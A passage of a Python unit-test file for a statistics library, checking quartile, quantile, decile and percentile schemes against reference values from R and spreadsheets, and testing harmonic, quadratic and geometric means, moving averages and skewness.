self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 8.0)\n q1, _, q3 = f(self.D)\n self.assertEqual(q1, 3.5)\n self.assertEqual(q3, 8.5)\n\n def testExclusive(self):\n f = stats.order._Quartiles.exclusive\n q1, _, q3 = f(self.A)\n self.assertEqual(q1, 2.5)\n self.assertEqual(q3, 6.5)\n q1, _, q3 = f(self.B)\n self.assertEqual(q1, 2.5)\n self.assertEqual(q3, 7.5)\n q1, _, q3 = f(self.C)\n self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 8.0)\n q1, _, q3 = f(self.D)\n self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 9.0)\n\n def testMS(self):\n f = stats.order._Quartiles.ms\n q1, _, q3 = f(self.A)\n self.assertEqual(q1, 2)\n self.assertEqual(q3, 7)\n q1, _, q3 = f(self.B)\n self.assertEqual(q1, 3)\n self.assertEqual(q3, 7)\n q1, _, q3 = f(self.C)\n self.assertEqual(q1, 3)\n self.assertEqual(q3, 8)\n q1, _, q3 = f(self.D)\n self.assertEqual(q1, 3)\n self.assertEqual(q3, 9)\n\n def testMinitab(self):\n f = stats.order._Quartiles.minitab\n q1, _, q3 = f(self.A)\n self.assertEqual(q1, 2.25)\n self.assertEqual(q3, 6.75)\n q1, _, q3 = f(self.B)\n self.assertEqual(q1, 2.5)\n self.assertEqual(q3, 7.5)\n q1, _, q3 = f(self.C)\n self.assertEqual(q1, 2.75)\n self.assertEqual(q3, 8.25)\n q1, _, q3 = f(self.D)\n self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 9.0)\n\n def testExcel(self):\n f = stats.order._Quartiles.excel\n q1, _, q3 = f(self.A)\n self.assertEqual(q1, 2.75)\n self.assertEqual(q3, 6.25)\n q1, _, q3 = f(self.B)\n self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 7.0)\n q1, _, q3 = f(self.C)\n self.assertEqual(q1, 3.25)\n self.assertEqual(q3, 7.75)\n q1, _, q3 = f(self.D)\n self.assertEqual(q1, 3.5)\n self.assertEqual(q3, 8.5)\n\n\nclass OrderQuartilesAliasesTest(unittest.TestCase):\n def testAliasesMapping(self):\n # Test that the quartiles function exposes a mapping of aliases.\n self.assertTrue(hasattr(stats.order.quartiles, 'aliases'))\n aliases = stats.order.quartiles.aliases\n self.assertTrue(isinstance(aliases, collections.Mapping))\n self.assertTrue(aliases)\n\n def testAliasesValues(self):\n # Test that the quartiles function aliases all map to real schemes.\n allowed_schemes = set(stats.order._Quartiles.FUNC_MAP.keys())\n used_schemes = set(stats.order.quartiles.aliases.values())\n self.assertTrue(used_schemes.issubset(allowed_schemes))\n\n\nclass OrderQuartilesTest(\n DoubleDataFailMixin,\n test_stats.UnivariateMixin,\n test_stats.NumericTestCase\n ):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.quartiles\n\n def testBadScheme(self):\n # Test that invalid schemes will fail.\n data = range(20)\n exc = (KeyError, TypeError)\n for scheme in ('', 'spam', 1.5, -1.5, -2):\n self.assertRaises(exc, self.func, data, scheme)\n\n def testCaseInsensitive(self):\n # Test that string scheme aliases are case-insensitive.\n data = range(20)\n for scheme in self.func.aliases:\n a = self.func(data, scheme.lower())\n b = self.func(data, scheme.upper())\n c = self.func(data, scheme.title())\n self.assertEqual(a, b)\n self.assertEqual(a, c)\n\n def testInclusive(self):\n # Test the inclusive method of calculating quartiles.\n f = self.func\n scheme = 1\n self.assertEqual(f([0, 1, 2], scheme), (0.5, 1, 1.5))\n self.assertEqual(f([0, 1, 2, 3], scheme), (0.5, 1.5, 2.5))\n self.assertEqual(f([0, 1, 2, 3, 4], scheme), (1, 2, 3))\n self.assertEqual(f([0, 1, 2, 3, 4, 5], scheme), (1, 2.5, 4))\n self.assertEqual(f([0, 1, 2, 3, 4, 5, 6], scheme), (1.5, 3, 4.5))\n self.assertEqual(f(range(1, 9), scheme), (2.5, 4.5, 6.5))\n self.assertEqual(f(range(1, 10), scheme), (3, 5, 7))\n self.assertEqual(f(range(1, 11), scheme), (3, 5.5, 8))\n self.assertEqual(f(range(1, 12), scheme), (3.5, 6, 8.5))\n self.assertEqual(f(range(1, 13), scheme), (3.5, 6.5, 9.5))\n self.assertEqual(f(range(1, 14), scheme), (4, 7, 10))\n self.assertEqual(f(range(1, 15), scheme), (4, 7.5, 11))\n self.assertEqual(f(range(1, 16), scheme), (4.5, 8, 11.5))\n\n def testExclusive(self):\n # Test the exclusive method of calculating quartiles.\n f = self.func\n scheme = 2\n self.assertEqual(f([0, 1, 2], scheme), (0, 1, 2))\n self.assertEqual(f([0, 1, 2, 3], scheme), (0.5, 1.5, 2.5))\n self.assertEqual(f([0, 1, 2, 3, 4], scheme), (0.5, 2, 3.5))\n self.assertEqual(f([0, 1, 2, 3, 4, 5], scheme), (1, 2.5, 4))\n self.assertEqual(f([0, 1, 2, 3, 4, 5, 6], scheme), (1, 3, 5))\n self.assertEqual(f(range(1, 9), scheme), (2.5, 4.5, 6.5))\n self.assertEqual(f(range(1, 10), scheme), (2.5, 5, 7.5))\n self.assertEqual(f(range(1, 11), scheme), (3, 5.5, 8))\n self.assertEqual(f(range(1, 12), scheme), (3, 6, 9))\n self.assertEqual(f(range(1, 13), scheme), (3.5, 6.5, 9.5))\n self.assertEqual(f(range(1, 14), scheme), (3.5, 7, 10.5))\n self.assertEqual(f(range(1, 15), scheme), (4, 7.5, 11))\n self.assertEqual(f(range(1, 16), scheme), (4, 8, 12))\n\n def testMS(self):\n f = self.func\n scheme = 3\n self.assertEqual(f(range(3), scheme), (0, 1, 2))\n self.assertEqual(f(range(4), scheme), (0, 1, 3))\n self.assertEqual(f(range(5), scheme), (1, 2, 3))\n self.assertEqual(f(range(6), scheme), (1, 3, 4))\n self.assertEqual(f(range(7), scheme), (1, 3, 5))\n self.assertEqual(f(range(8), scheme), (1, 3, 6))\n self.assertEqual(f(range(9), scheme), (2, 4, 6))\n self.assertEqual(f(range(10), scheme), (2, 5, 7))\n self.assertEqual(f(range(11), scheme), (2, 5, 8))\n self.assertEqual(f(range(12), scheme), (2, 5, 9))\n\n def testMinitab(self):\n f = self.func\n scheme = 4\n self.assertEqual(f(range(3), scheme), (0, 1, 2))\n self.assertEqual(f(range(4), scheme), (0.25, 1.5, 2.75))\n self.assertEqual(f(range(5), scheme), (0.5, 2, 3.5))\n self.assertEqual(f(range(6), scheme), (0.75, 2.5, 4.25))\n self.assertEqual(f(range(7), scheme), (1, 3, 5))\n self.assertEqual(f(range(8), scheme), (1.25, 3.5, 5.75))\n self.assertEqual(f(range(9), scheme), (1.5, 4, 6.5))\n self.assertEqual(f(range(10), scheme), (1.75, 4.5, 7.25))\n self.assertEqual(f(range(11), scheme), (2, 5, 8))\n self.assertEqual(f(range(12), scheme), (2.25, 5.5, 8.75))\n\n def testExcel(self):\n f = self.func\n scheme = 5\n # Results generated with OpenOffice.\n self.assertEqual(f(range(3), scheme), (0.5, 1, 1.5))\n self.assertEqual(f(range(4), scheme), (0.75, 1.5, 2.25))\n self.assertEqual(f(range(5), scheme), (1, 2, 3))\n self.assertEqual(f(range(6), scheme), (1.25, 2.5, 3.75))\n self.assertEqual(f(range(7), scheme), (1.5, 3, 4.5))\n self.assertEqual(f(range(8), scheme), (1.75, 3.5, 5.25))\n self.assertEqual(f(range(9), scheme), (2, 4, 6))\n self.assertEqual(f(range(10), scheme), (2.25, 4.5, 6.75))\n self.assertEqual(f(range(11), scheme), (2.5, 5, 7.5))\n self.assertEqual(f(range(12), scheme), (2.75, 5.5, 8.25))\n self.assertEqual(f(range(13), scheme), (3, 6, 9))\n self.assertEqual(f(range(14), scheme), (3.25, 6.5, 9.75))\n self.assertEqual(f(range(15), scheme), (3.5, 7, 10.5))\n\n def testLangford(self):\n f = self.func\n scheme = 6\n self.assertEqual(f(range(3), scheme), (0, 1, 2))\n self.assertEqual(f(range(4), scheme), (0.5, 1.5, 2.5))\n self.assertEqual(f(range(5), scheme), (1, 2, 3))\n self.assertEqual(f(range(6), scheme), (1, 2.5, 4))\n self.assertEqual(f(range(7), scheme), (1, 3, 5))\n self.assertEqual(f(range(8), scheme), (1.5, 3.5, 5.5))\n self.assertEqual(f(range(9), scheme), (2, 4, 6))\n self.assertEqual(f(range(10), scheme), (2, 4.5, 7))\n self.assertEqual(f(range(11), scheme), (2, 5, 8))\n self.assertEqual(f(range(12), scheme), (2.5, 5.5, 8.5))\n\n def testBig(self):\n # Test some quartiles results on relatively big sets of data.\n data = list(range(1001, 2001))\n assert len(data) == 1000\n assert len(data)%4 == 0\n random.shuffle(data)\n self.assertEqual(self.func(data, 1), (1250.5, 1500.5, 1750.5))\n self.assertEqual(self.func(data, 2), (1250.5, 1500.5, 1750.5))\n data.append(2001)\n random.shuffle(data)\n self.assertEqual(self.func(data, 1), (1251, 1501, 1751))\n self.assertEqual(self.func(data, 2), (1250.5, 1501, 1751.5))\n data.append(2002)\n random.shuffle(data)\n self.assertEqual(self.func(data, 1), (1251, 1501.5, 1752))\n self.assertEqual(self.func(data, 2), (1251, 1501.5, 1752))\n data.append(2003)\n random.shuffle(data)\n self.assertEqual(self.func(data, 1), (1251.5, 1502, 1752.5))\n self.assertEqual(self.func(data, 2), (1251, 1502, 1753))\n\n\nclass OrderQuantileBehaviourTest(\n test_stats.UnivariateMixin,\n test_stats.NumericTestCase\n ):\n # Behaviour tests for quantile (like test_stats.UnivariateMixin except\n # adds a second required argument).\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.raw_func = stats.order.quantile\n self.func = lambda x: self.raw_func(x, 0.5)\n\n def testNoArgs(self):\n # Fail if given no arguments.\n self.assertRaises(TypeError, self.raw_func)\n self.assertRaises(TypeError, self.func)\n\n def testSingleArg(self):\n # Fail if given a single argument.\n self.assertRaises(TypeError, self.raw_func, [1, 2, 3])\n\n def testSingleData(self):\n # Fail when the first argument has a single data point.\n for x in self.make_random_data(size=1, count=4):\n assert len(x) == 1\n self.assertRaises(ValueError, self.func, x)\n\n\nclass OrderQuantileResultsTest(test_stats.NumericTestCase):\n # Test the results returned by quantile.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.quantile\n\n def testQuantileArgOutOfRange(self):\n # Test that the quantile input arg fails if not 0 <= x < 1.\n data = [1, 2, 3, 4]\n self.assertRaises(ValueError, self.func, data, -0.1)\n self.assertRaises(ValueError, self.func, data, 1.1)\n\n def testUnsorted(self):\n # quantile function should work on unsorted data.\n data = [3, 4, 2, 1, 0, 5]\n assert data != sorted(data)\n self.assertEqual(self.func(data, 0.1, scheme=1), 0)\n self.assertEqual(self.func(data, 0.9, scheme=1), 5)\n self.assertEqual(self.func(data, 0.1, scheme=7), 0.5)\n self.assertEqual(self.func(data, 0.9, scheme=7), 4.5)\n\n def testIter(self):\n # quantile function should work on iterator data.\n self.assertEqual(self.func(range(12), 0.3, scheme=1), 3)\n self.assertEqual(self.func(range(12), 0.3, scheme=7), 3.3)\n self.assertEqual(self.func(iter([1, 3, 6, 9]), 0.7, scheme=2), 6)\n self.assertApproxEqual(\n self.func(iter([1, 3, 6, 9]), 0.7, scheme=8), 7.1, rel=1e-15)\n\n def testUnitInterval(self):\n # Test quantile interpolating between 0 and 1.\n data = [0, 1]\n for f in (0.01, 0.1, 0.2, 0.25, 0.5, 0.55, 0.8, 0.9, 0.99):\n result = self.func(data, f, scheme=7)\n self.assertApproxEqual(result, f, tol=1e-9, rel=None)\n\n def testLQD(self):\n expected = [1.0, 1.7, 3.9, 6.1, 8.3, 10.5, 12.7, 14.9, 17.1, 19.3, 20.0]\n ps = [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]\n data = range(1, 21)\n for i, p in enumerate(ps):\n result = self.func(data, p, scheme=10)\n self.assertApproxEqual(expected[i], result, tol=1e-12, rel=None)\n\n\nclass OrderCompareParameterizedQuantiles(test_stats.NumericTestCase):\n # Compare Mathematica-style parameterized quantiles with the equivalent.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.quantile\n\n def compareMethods(self, scheme, params):\n fractions = [0.0, 0.01, 0.1, 0.2, 0.25, 0.31, 0.42, 0.5,\n 0.55, 0.62, 0.75, 0.83, 0.9, 0.95, 0.99, 1.0]\n data0 = list(range(2000, 2701, 100))\n assert len(data0)%4 == 0\n data1 = list(range(2000, 2801, 100))\n assert len(data1)%4 == 1\n data2 = list(range(2000, 2901, 100))\n assert len(data2)%4 == 2\n data3 = list(range(2000, 3001, 100))\n assert len(data3)%4 == 3\n for data in (data0, data1, data2, data3):\n name = 'data%d' % (len(data) % 4)\n for p in fractions:\n a = self.func(data, p, scheme=scheme)\n b = self.func(data, p, scheme=params)\n self.assertEqual(a, b,\n \"Failed for %s with %s != %s; p=%f\" % (name, a, b, p))\n\n def testR1(self):\n scheme = 1; params = (0, 0, 1, 0)\n self.compareMethods(scheme, params)\n\n # Note that there is no test for R2, as it is not supported by the\n # Mathematica parameterized quantile algorithm.\n\n @unittest.skip('test currently broken for unknown reasons')\n def testR3(self):\n scheme = 3; params = (0.5, 0, 0, 0)\n self.compareMethods(scheme, params)\n\n def testR4(self):\n scheme = 4; params = (0, 0, 0, 1)\n self.compareMethods(scheme, params)\n\n def testR5(self):\n scheme = 5; params = (0.5, 0, 0, 1)\n self.compareMethods(scheme, params)\n\n def testR6(self):\n scheme = 6; params = (0, 1, 0, 1)\n self.compareMethods(scheme, params)\n\n def testR7(self):\n scheme = 7; params = (1, -1, 0, 1)\n self.compareMethods(scheme, params)\n\n def testR8(self):\n scheme = 8; params = (1/3, 1/3, 0, 1)\n self.compareMethods(scheme, params)\n\n def testR9(self):\n scheme = 9; params = (3/8, 0.25, 0, 1)\n self.compareMethods(scheme, params)\n\n\nclass OrderQuantilesCompareWithR(test_stats.NumericTestCase):\n # Compare results of calling quantile() against results from R.\n tol = 1e-3\n rel = None\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.read_data('stats-quantiles.dat')\n self.func = stats.order.quantile\n\n def read_data(self, filename):\n # Read data from external test data file generated using R.\n # First we have to find our location...\n import os\n import __main__\n location = os.path.split(__main__.__file__)[0]\n # Now add the filename to it.\n location = os.path.join(location, filename)\n # Now read the data from that file.\n expected = {}\n with open(location, 'r') as data:\n for line in data:\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if '=' in line:\n label, items = line.split(\"=\")\n label = label.strip()\n if label == 'seq':\n start, end, step = [int(s) for s in items.split()]\n end += 1\n self.data = list(range(start, end, step))\n elif label == 'p':\n self.fractiles = [float(s) for s in items.split()]\n else:\n scheme, results = line.split(\":\")\n scheme = int(scheme.strip())\n assert 1 <= scheme <= 9\n results = [float(x) for x in results.split()]\n expected[scheme] = results\n self.expected = expected\n\n def compare(self, scheme):\n fractiles = self.fractiles\n a = [self.func(self.data, p, scheme=scheme) for p in fractiles]\n b = self.expected[scheme]\n for actual, expected in zip(a, b):\n self.assertApproxEqual(actual, expected)\n\n def testR1(self): self.compare(1)\n def testR2(self): self.compare(2)\n def testR3(self): self.compare(3)\n def testR4(self): self.compare(4)\n def testR5(self): self.compare(5)\n def testR6(self): self.compare(6)\n def testR7(self): self.compare(7)\n def testR8(self): self.compare(8)\n def testR9(self): self.compare(9)\n\n\nclass OrderDecileBehaviourTest(OrderQuantileBehaviourTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.raw_func = stats.order.decile\n self.func = lambda x: self.raw_func(x, 7)\n\n\nclass OrderPercentileBehaviourTest(OrderQuantileBehaviourTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.raw_func = stats.order.percentile\n self.func = lambda x: self.raw_func(x, 63)\n\n\nclass OrderDecileExactSchemesTest(test_stats.NumericTestCase):\n # Test that certain schemes don't perform any interpolation when the\n # number of data points is exactly the same as fractile size.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.schemes = [1, 3, 4]\n self.func = stats.order.decile\n self.num = 10\n\n def result_is_exact(self, data, i):\n \"\"\"Test that no interpolation takes place no matter which scheme\n is used.\"\"\"\n for scheme in self.schemes:\n actual = self.func(data, i, scheme)\n self.assertEqual(actual, i,\n \"expected %d with scheme %d but got %s\" % (i, scheme, actual))\n\n def testExact(self):\n # Test that fractiles are exact if there are exactly self.num items.\n data = range(1, 1 + self.num)\n assert len(data) == self.num\n for i in range(1, 1 + self.num):\n self.result_is_exact(data, i)\n\n\nclass OrderPercentileExactSchemeTest(OrderDecileExactSchemesTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.percentile\n self.num = 100\n\n\nclass OrderDecileValueTest(test_stats.NumericTestCase):\n # Test deciles against results (mostly) calculated in R.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.decile\n self.data = [101, 105, 116, 117, 129, 134, 137, 142, 150, 153, 164, 178]\n assert len(self.data) != 10\n\n def setUp(self):\n random.shuffle(self.data)\n\n def do_test(self, i, scheme, expected):\n actual = self.func(self.data, i, scheme)\n self.assertApproxEqual(actual, expected, tol=1e-3)\n\n def testLow(self):\n for scheme in range(1, 11):\n self.do_test(0, scheme, 101)\n\n def testMid(self):\n for scheme in (1, 3, 4):\n self.do_test(5, scheme, 134)\n for scheme in (2, 5, 6, 7, 8, 9, 10):\n self.do_test(5, scheme, 135.5)\n\n def testHigh(self):\n for scheme in range(1, 11):\n self.do_test(10, scheme, 178)\n\n def testScheme1(self):\n self.do_test(2, 1, 116)\n self.do_test(8, 1, 153)\n self.do_test(9, 1, 164)\n\n def testScheme2(self):\n self.do_test(1, 2, 105)\n self.do_test(3, 2, 117)\n self.do_test(9, 2, 164)\n\n def testScheme3(self):\n self.do_test(2, 3, 105)\n self.do_test(7, 3, 142)\n\n def testScheme4(self):\n self.do_test(1, 4, 101.8)\n self.do_test(4, 4, 126.6)\n self.do_test(8, 4, 151.8)\n\n def testScheme5(self):\n self.do_test(1, 5, 103.8)\n self.do_test(3, 5, 118.2)\n self.do_test(6, 5, 140.5)\n self.do_test(7, 5, 149.2)\n\n def testScheme6(self):\n self.do_test(8, 6, 157.4)\n\n def testScheme7(self):\n self.do_test(2, 7, 116.2)\n self.do_test(3, 7, 120.6)\n self.do_test(6, 7, 140)\n\n def testScheme8(self):\n self.do_test(4, 8, 130.333)\n self.do_test(7, 8, 149.733)\n self.do_test(6, 8, 140.667)\n\n def testScheme9(self):\n self.do_test(4, 9, 130.375)\n self.do_test(9, 9, 169.6)\n\n def testScheme10(self):\n self.do_test(3, 10, 116.7)\n self.do_test(7, 10, 150.9)\n\n\nclass OrderPercentileValueTest(test_stats.NumericTestCase):\n # Test percentiles against results (mostly) calculated in R.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.percentile\n self.data = [103, 109, 113, 121, 127, 131, 142, 143, 154,\n 163, 167, 171, 180, 185, 188, 196]\n assert len(self.data) != 100\n\n def setUp(self):\n random.shuffle(self.data)\n\n def do_test(self, i, scheme, expected):\n actual = self.func(self.data, i, scheme)\n self.assertApproxEqual(actual, expected, tol=1e-3)\n\n def testLow(self):\n for scheme in range(1, 11):\n self.do_test(0, scheme, 103)\n\n def testMid(self):\n for scheme in (1, 3, 4):\n self.do_test(50, scheme, 143)\n for scheme in (2, 5, 6, 7, 8, 9, 10):\n self.do_test(50, scheme, 148.5)\n\n def testHigh(self):\n for scheme in range(1, 11):\n self.do_test(100, scheme, 196)\n\n\n\n# -- univar module ----------------------------------------------------\n\nclass UnivarGlobalsTest(test_stats.GlobalsTest):\n module = stats.univar\n\n\nclass UnivarHarmonicMeanTest(test_stats.MeanTest):\n rel = 1e-8\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.harmonic_mean\n self.expected = 3.4995090404755\n\n def testSingleton(self):\n # Over-ride method. While exact equality should hold, due to\n # rounding error, we have to accept a little less precision.\n for x in self.data:\n self.assertApproxEqual(self.func([x]), x, rel=1e-15)\n\n def testNegative(self):\n # The harmonic mean of negative numbers is allowed.\n data = [1.0, -2.0, 4.0, -8.0]\n assert any(x < 0.0 for x in data)\n self.assertEqual(self.func(data), 4*8/5)\n\n def testZero(self):\n # The harmonic mean of anything with a zero in it should be zero.\n data = [1.0, 2.0, 0.0, 4.0]\n assert any(x == 0.0 for x in data)\n self.assertEqual(self.func(data), 0.0)\n # FIX ME test for signed zeroes?\n\n\nclass UnivarHarmonicMeanColumnTest(test_stats.MeanColumnTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.harmonic_mean\n\n\nclass UnivarHarmonicMeanIEEEValues(test_stats.MeanIEEEValues):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.harmonic_mean\n\n def testMismatchedINFs(self):\n # Harmonic mean laughs at INFs with opposite signs!!!\n inf = float('inf')\n result = self.func([1, inf, -inf, 1])\n self.assertEqual(result, 2.0)\n\n def testINF(self):\n # Harmonic mean laughs at INFs!!!\n inf = float('inf')\n result = self.func([1, inf])\n self.assertEqual(result, 2)\n result = self.func([1, -inf])\n self.assertEqual(result, 2)\n\n\nclass UnivarQuadraticMeanTest(test_stats.MeanTest):\n rel = 1e-8\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.quadratic_mean\n self.expected = 6.19004577259\n\n def testNegative(self):\n data = [-x for x in self.data]\n self.assertApproxEqual(self.func(data), self.expected)\n data = [1.0, -2.0, -3.0, 4.0]\n self.assertEqual(self.func(data), math.sqrt(30/4))\n\n def testZero(self):\n data = [1.0, 2.0, 0.0, 4.0]\n assert any(x == 0.0 for x in data)\n self.assertEqual(self.func(data), math.sqrt(21/4))\n\n\nclass UnivarQuadraticMeanColumnTest(test_stats.MeanColumnTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.quadratic_mean\n\n\nclass UnivarQuadraticMeanIEEEValues(test_stats.MeanIEEEValues):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.quadratic_mean\n\n def testINF(self):\n inf = float('inf')\n # Quadratic mean of either + or -INF is +INF.\n for x in (inf, -inf):\n result = self.func([1, x])\n self.assertEqual(result, inf)\n\n def testMismatchedINFs(self):\n # Quadratic mean of mixed INF is +INF.\n inf = float('inf')\n result = self.func([1, inf, -inf])\n self.assertEqual(result, inf)\n\n\nclass UnivarGeometricMeanTest(test_stats.MeanTest):\n rel = 1e-11\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.geometric_mean\n self.expected = 4.56188290183\n\n def testBigData(self):\n data = [x*1e9 for x in self.data]\n expected = 1e9*self.expected\n self.assertApproxEqual(self.func(data), expected)\n\n def testNegative(self):\n # A single -ve value leads to a NAN.\n data = [1.0, 2.0, -3.0, 4.0]\n assert any(x < 0.0 for x in data)\n result = self.func(data)\n self.assertTrue(math.isnan(result))\n # Two -ve values also lead to a NAN, and do not cancel.\n data = [1.0, 2.0, -3.0, -4.0]\n assert any(x < 0.0 for x in data)\n result = self.func(data)\n self.assertTrue(math.isnan(result))\n\n def testZero(self):\n data = [1.0, 2.0, 0.0, 4.0]\n assert any(x == 0.0 for x in data)\n self.assertEqual(self.func(data), 0.0)\n\n\nclass UnivarGeometricMeanColumnTest(test_stats.MeanColumnTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.quadratic_mean\n\n\nclass UnivarGeometricMeanIEEEValues(test_stats.MeanIEEEValues):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.quadratic_mean\n\n @ unittest.skip('getting inf')\n def testINF(self):\n inf = float('inf')\n # Geometric mean of +INF is +INF.\n self.assertEqual(self.func([1, inf]), inf)\n # Geometric mean of -INF is NAN.\n result = self.func([1, -inf])\n self.assertTrue(math.isnan(result), 'expected NAN but got %r' % result)\n\n @ unittest.skip('getting inf')\n def testMismatchedINFs(self):\n # Geometric mean of mixed INF is NAN.\n inf = float('inf')\n result = self.func([1, inf, -inf])\n self.assertTrue(math.isnan(result), 'expected NAN but got %r' % result)\n\n\nclass UnivarMovingAverageTest(test_stats.NumericTestCase):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.moving_average\n\n def testGenerator(self):\n # Test that function is a generator.\n self.assertTrue(inspect.isgeneratorfunction(self.func))\n\n def testFinal(self):\n # Test the final result has the expected value.\n data = [1, 2, 3, 4, 5, 6, 7, 8]\n results = list(self.func(data))\n self.assertEqual(results[-1], 7.0)\n\n def testResultsWithDefaultWindow(self):\n data = [5, 8, 7, 11, 4, 10, 9]\n results = list(self.func(data))\n expected = map(lambda x: x/3, [20, 26, 22, 25, 23])\n self.assertEqual(results, list(expected))\n\n def testWindowSize(self):\n data = [5, 7, 2, 8, 6, 7, 4, 5, 9, 7, 3]\n results = list(self.func(data, 4))\n expected = map(lambda x: x/4, [22, 23, 23, 25, 22, 25, 25, 24])\n self.assertEqual(results, list(expected))\n results = list(self.func(data, 5))\n expected = map(lambda x: x/5, [28, 30, 27, 30, 31, 32, 28])\n self.assertEqual(results, list(expected))\n\n def testBadWindow(self):\n it = self.func([5, 4, 3, 2, 1], 6)\n self.assertRaises(ValueError, next, it)\n\n\nclass UnivarAverageDeviationTest(\n test_stats.UnivariateMixin,\n test_stats.NumericTestCase\n ):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.average_deviation\n self.extras = [(), (1,), (-2.5,), (None,)]\n\n def testSuppliedMean(self):\n # Test that pre-calculating the mean gives the same result.\n for data in (range(35), range(-17, 53, 7), range(11, 79, 3)):\n data = list(data)\n random.shuffle(data)\n m = stats.mean(data)\n result1 = self.func(data)\n result2 = self.func(data, m)\n self.assertEqual(result1, result2)\n\n def testSingleton(self):\n self.assertEqual(self.func([42]), 0)\n self.assertEqual(self.func([42], 40), 2)\n\n def testMain(self):\n data = [-1.25, 0.5, 0.5, 1.75, 3.25, 4.5, 4.5, 6.25, 6.75, 9.75]\n expected = 2.7\n for delta in (0, 100, 1e6, 1e9):\n self.assertEqual(self.func(x+delta for x in data), expected)\n\n\nclass UnivarPearsonSkewnessTest(test_stats.NumericTestCase):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.pearson_skewness\n\n def testFailure(self):\n # Test that stdev must be positive.\n self.assertRaises(ValueError, self.func, 2, 3, -1)\n self.assertRaises(ValueError, self.func, 3, 2, -5)\n\n def testNan(self):\n # Test that a numerator and denominator of zero returns NAN.\n self.assertTrue(math.isnan(self.func(5, 5, 0)))\n self.assertTrue(math.isnan(self.func(42, 42, 0)))\n\n def testInf(self):\n # Test that a non-zero numerator and zero denominator returns INF.\n self.assertTrue(math.isinf(self.func(3, 2, 0)))\n self.assertTrue(math.isinf(self.func(2, 3, 0)))\n\n def testZero(self):\n # Test that a zero numerator and non-zero denominator returns zero.\n self.assertEqual(self.func(3, 3, 1), 0)\n self.assertEqual(self.func(42, 42, 7), 0)\n\n def testSkew(self):\n # Test skew calculations.\n self.assertEqual(self.func(2.5, 2.25, 2.5), 0.1)\n self.assertEqual(self.func(225, 250, 25), -1.0)\n\n\nclass UnivarSkewnessTest(\n test_stats.UnivariateMixin,\n test_stats.NumericTestCase\n ):\n\n tol = 1e-15\n rel = 1e-15\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.skewness\n\n def testSingleData(self):\n # Override mixin method.\n self.assertRaises(ValueError, self.func, [42])\n\n def test_uniform(self):\n # Compare the calculated skewness against an exact result\n # calculated from a uniform distribution.\n data = range(10000)\n self.assertEqual(self.func(data), 0.0)\n data = [x + 1e9 for x in data]\n self.assertEqual(self.func(data), 0.0)\n\n def get_non_uniform_data(self):\n d = list(range(1, 1500, 3))\n d.extend(range(2, 1000, 3))\n d.extend(range(10, 50, 2))\n d.extend(range(230, 260))\n d.extend(range(100, 400, 2))\n d.extend(range(151, 250, 2))\n d.extend(range(300, 450, 7))\n d.extend(range(800, 900, 4))\n d.extend(range(2000, 2010))\n random.shuffle(d)\n return d\n\n def testShuffled(self):\n data = self.get_non_uniform_data()\n a = self.func(data)\n random.shuffle(data)\n b = self.func(data)\n self.assertEqual(a, b)\n\n def testShifted(self):\n data = self.get_non_uniform_data()\n a = self.func(data)\n b = self.func(x+1e6 for x in data)\n self.assertApproxEqual(a, b, tol=1e-12)\n\n def testMeanGiven(self):\n # Giving the sample mean shouldn't change the result.\n data = self.get_non_uniform_data()\n a = self.func(data)\n m = stats.mean(data)\n b = self.func(data, m)\n self.assertEqual(a, b)\n\n def testStdevGiven(self):\n # Giving the sample stdev shouldn't change the result.\n data = self.get_non_uniform_data()\n a = self.func(data)\n m = stats.mean(data)\n s = stats.stdev(data, m)\n b = self.func(data, None, s)\n self.assertEqual(a, b)\n\n def testMeanStdevGiven(self):\n # Giving both the mean and stdev shouldn't change the result.\n data = self.get_non_uniform_data()\n a = self.func(data)\n m = stats.mean(data)\n s = stats.stdev(data, m)\n b = self.func(data, m, s)\n self.assertEqual(a, b)\n\n def test_exact_result(self):\n # Test against a hand-calculated result.\n data = [1, 1, 2, 2, 2, 3, 4]\n expected = math.sqrt(13446972/37933056)\n self.assertApproxEqual(self.func(data), expected)\n\n\nclass UnivarStErrMeanTest(test_stats.NumericTestCase):\n tol=1e-11\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.sterrmean\n\n def 